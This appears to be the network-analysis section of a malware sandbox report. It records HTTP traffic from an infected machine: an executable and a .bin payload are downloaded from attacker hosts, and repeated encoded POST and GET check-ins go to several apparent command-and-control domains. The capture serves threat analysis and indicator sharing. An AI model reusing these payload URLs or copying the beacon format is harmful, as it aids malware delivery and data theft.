Network Analysis

GET /800/service.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Host: 192.210.150.54 Connection: Keep-Alive

HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 00:24:02 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Wed, 19 Jun 2024 06:37:16 GMT ETag: "c9274-61b386de35f00" Accept-Ranges: bytes Content-Length: 823924 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload

GET /rTenPEVaZZd63.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: synergyinnovationsgroup.com Cache-Control: no-cache

HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 00:24:26 GMT Server: Apache Last-Modified: Wed, 19 Jun 2024 06:35:40 GMT Accept-Ranges: bytes Content-Length: 270912 Content-Type: application/octet-stream

POST /wgnm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.go2super.app Origin: http://www.go2super.app Referer: http://www.go2super.app/wgnm/ Content-Length: 191 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4

GET /wgnm/?pY=Fa4WWJW4OAk9quC/liQ5qPCm6cq5UHInoPdIisE1PBrL79EG4mQIKlmV9v0gNsYws5soHWC75TgVD8ScXJuz3zKnezho/eF1xa+ohUcEmn2mEAmZPvlgVqrPRDgE59rzl73KHjo=&q7iu=YOnhTm3GvPBMIU HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.go2super.app Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4

HTTP/1.1 200 OK Server: openresty Date: Thu, 20 Jun 2024 00:25:21 GMT Content-Type: text/html Content-Length: 274 Connection: close

GET /2017/sqlite-dll-win32-x86-3190000.zip HTTP/1.1 User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Host: www.sqlite.org Connection: Keep-Alive Cache-Control: no-cache

HTTP/1.1 200 OK Connection: keep-alive Date: Thu, 20 Jun 2024 00:25:23 GMT Last-Modified: Tue, 23 May 2017 16:54:33 GMT Cache-Control: max-age=120 ETag: "m59246949s6cb3a" Content-type: application/zip; charset=utf-8 Content-length: 445242

POST /pi58/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.seemorebooks.com Origin: http://www.seemorebooks.com Referer: http://www.seemorebooks.com/pi58/ Content-Length: 3431 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4

HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/8.2.20 set-cookie: PHPSESSID=nhh4t2rau9qrubfikfoi78ocrh; path=/;SameSite=Lax expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache set-cookie: en4_language=en; expires=Fri, 20 Jun 2025 00:25:37 GMT; Max-Age=31536000; path=/ set-cookie: en4_locale=en_US; expires=Fri, 20 Jun 2025 00:25:37 GMT; Max-Age=31536000; path=/ vary: Accept-Encoding content-type: text/html; charset=UTF-8 transfer-encoding: chunked content-encoding: gzip date: Thu, 20 Jun 2024 00:25:38 GMT server: LiteSpeed

POST /pi58/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.seemorebooks.com Origin: http://www.seemorebooks.com Referer: http://www.seemorebooks.com/pi58/ Content-Length: 203 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4

HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/8.2.20 set-cookie: PHPSESSID=bo18m6alq51ktkeglkni0obbtg; path=/;SameSite=Lax expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache set-cookie: en4_language=en; expires=Fri, 20 Jun 2025 00:25:40 GMT; Max-Age=31536000; path=/ set-cookie: en4_locale=en_US; expires=Fri, 20 Jun 2025 00:25:40 GMT; Max-Age=31536000; path=/ vary: Accept-Encoding content-type: text/html; charset=UTF-8 transfer-encoding: chunked content-encoding: gzip date: Thu, 20 Jun 2024 00:25:40 GMT server: LiteSpeed

GET /pi58/?pY=YYtcvmaEEn+7nyfxzWgh1us0l/woYfyMnrlu6Rjt4og+6FeMZ1IdpKDPKj+aPF1uuIq0gCsO4nwJKFBr1ceHHaYtBG7ACxwv7Iz3EuX+x6xrPs5Ey6eaPYfJ6s7i8ry1ERDc11U=&q7iu=YOnhTm3GvPBMIU HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.seemorebooks.com Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4

HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/8.2.20 set-cookie: PHPSESSID=qg4mn2rlv89i0pfnkgom10sg93; path=/;SameSite=Lax expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache set-cookie: en4_language=en; expires=Fri, 20 Jun 2025 00:25:43 GMT; Max-Age=31536000; path=/ set-cookie: en4_locale=en_US; expires=Fri, 20 Jun 2025 00:25:43 GMT; Max-Age=31536000; path=/ content-type: text/html; charset=UTF-8 transfer-encoding: chunked date: Thu, 20 Jun 2024 00:25:43 GMT server: LiteSpeed

POST /zadz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.hissmjkl.com Origin: http://www.hissmjkl.com Referer: http://www.hissmjkl.com/zadz/ Content-Length: 3431 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4

HTTP/1.1 404 Not Found Date: Thu, 20 Jun 2024 00:25:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 20 Jun 2024 00:25:49 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vFodatuD5h1XVb9czHnzjTCyCixUAG7VUTyngN1629eUBUfwZznZiJ4tW6e%2BBsV1iXqh3Dw9tl5%2FM0m%2Bxg7JEOLZYRoeUaAVjode7a8k31z26ddKjBHb4MObyVaCnLfOpuFC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89679fb3c85a2f7c-LAX Content-Encoding: gzip alt-svc: h3=":443"; ma=86400

POST /zadz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.hissmjkl.com Origin: http://www.hissmjkl.com Referer: http://www.hissmjkl.com/zadz/ Content-Length: 203 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4

HTTP/1.1 404 Not Found Date: Thu, 20 Jun 2024 00:25:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 20 Jun 2024 00:25:52 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y2a0ukdwsnEpOWBs6SVKis8Of12JyO%2FPXSQnS9YL7s98cIrl9s4ZoChboewWOGbO7Brzdfd05yE0nWsmt8Ys8r4ig31r0Gx%2FrMZglA3WwGdHSqvRNoh5tB%2B4UkiDapllZayq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89679fc41e0a1030-LAX Content-Encoding: gzip alt-svc: h3=":443"; ma=86400

GET /zadz/?pY=GqmOaWdq+kX/yRvyAZZwseYDvaTL8crr23pe6qvcgIhSte46GY4DIQa7ks3RQ77EfqOrO6E9ud6ta6vwJbbEPWpMvqhVaL5TSjftDGWhiRc7xSx2vvQWLWjMkFGYeWU0dOjwkWc=&q7iu=YOnhTm3GvPBMIU HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.hissmjkl.com Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4

HTTP/1.1 404 Not Found Date: Thu, 20 Jun 2024 00:25:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 20 Jun 2024 00:25:54 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FiVgHX4kkQvNVQNr0Mf60f7QPx5IAq2nY48jxDdvuhKaF0%2BrAaBUPhrHaAhPe6CqxgMnGRBSOLqgf6HXX5n6nggILOw00UMkAZNz%2FKXq0LRksuqCEiVr4LHt6EPojRHxWgTk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89679fd49c2f7cc2-LAX alt-svc: h3=":443"; ma=86400